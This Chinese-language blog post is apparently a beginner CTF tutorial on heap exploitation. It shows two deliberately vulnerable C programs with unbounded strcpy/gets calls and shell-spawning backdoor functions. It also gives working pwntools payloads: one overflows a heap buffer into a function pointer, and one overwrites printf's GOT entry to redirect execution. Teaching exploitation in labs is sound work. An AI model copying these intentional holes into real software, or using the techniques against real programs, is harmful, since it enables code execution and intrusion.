CTF-pwn-堆入门-day1

发布时间 2023-11-03 18:07:26作者: fu37kola

什么是堆

 

堆是可以根据运行时的需要进行动态分配和释放的内存,大小可变 由程序员决定

malloc new\free delete

栈用于函数分配固定大小的局部内存 由程序决定

 

但是为什么不都在栈上进行函数调用,反而要去对上进行调用

 

堆的实现重点关注内存块的组织和管理方式,尤其是空闲内置块:(分地)

如何提高分配和释放效率

如何降低碎片化,提高空间利用率

 

堆溢出栈溢出原理相同,发生在缓冲区上

一个发生在堆上,一个发生在栈上

 

heap0_fd
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>struct data{     //声明了data,fp两个struct
    char name[64];
};
​
struct fp{
    int (*fp)();
};
​
void backdoor(){  //获取shell
    system("/bin/sh");
}
​
void info(){
    printf("this is easy heap0!!!");
}
​
int main(int args , char **argv){
    struct data *d;    //定义了两个struct指针
    struct fp *f;
​
    d = malloc(sizeof(struct data));   //为struct在堆上分配的地址
    f = malloc(sizeof(struct fp));
    f -> fp = info; //   把info函数名给fp
​
    printf("data is at %p,fp is at %p\n",d,f); //打印data和fp的内存地址
​
    strcpy(d->name,argv[1]);   //把用户终端输入的值赋给name    在name空间造成溢出
//或者用 gets(d->name);
​ f->fp(); //再执行fp()即info() }

 

我们的目标明显就是修改程序的执行流,执行到backdoor

./heap0 AAAA 运行程序,x/64wx data_addr 可以看到此时堆上内存为

data__64 *fp  
AAAA   &info    

而data并没有限制输入长度,所以当我们输入过长的payload时,就会造成溢出到fp指针出,而fp中存储的是下一个执行函数的地址,那么如果我们将该地址覆盖,就能控制程序的执行流

payload = b'a'*80 + p64(elf.sym['backdoor'])

首先是结构体在堆内的存储方式,指针的作用,堆上分配的内存大小

 

 

heap1_struct

了解堆上的数据管理

a = malloc(16) 
b = malloc(24)
c = malloc(10)
d = malloc(16)

heap上分配的地址不连续

 a_16 b_24 c_10 d_16  
                   
                   

a_16_addr 我们得到的地址是 具有数据存储的内存块的起始地址,而不是空块的地址

 

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>struct internet{
    int priority;
    char *name;
};
​
void backdoor(){
    system("/bin/sh");
}
​
int main(){
    struct internet *i1,*i2,*i3;
    i1 = malloc(sizeof(struct internet));
    i1->priority = 1;
    i1->name=malloc(8);
​
    i2 = malloc(sizeof(struct internet));
    i2 -> priority = 2;
    i2 -> name = malloc(8);
    
    gets(i1->name);
    gets(i2->name);
    printf("usr1's name is %s ,id is %d\n",i1->name,i1->priority);
    printf("usr2's name is %s ,id is %d\n",i2->name,i2->priority);
​
}

 

 

internet结构体

usr18 i1->name usr28 i2->name   
priority_int *name       priority_int *name          
  aaaa aaaa aaaa aaaa aaaa printf_got   backdoor_addr      

堆上创建的结构体如上图所示

修改printf的got表

指针的危险性

 

from pwn import *
pwnfile = './heap1'
elf = ELF(pwnfile)
io = process(pwnfile)
​
backdoor = elf.sym['backdoor']
printf_got = elf.got['printf']
​
#gdb.attach(io)
#pause()
payload = b'a'*40 + p64(printf_got)
io.sendline(payload)
​
payload = p64(backdoor)
io.sendline(payload)
io.interactive()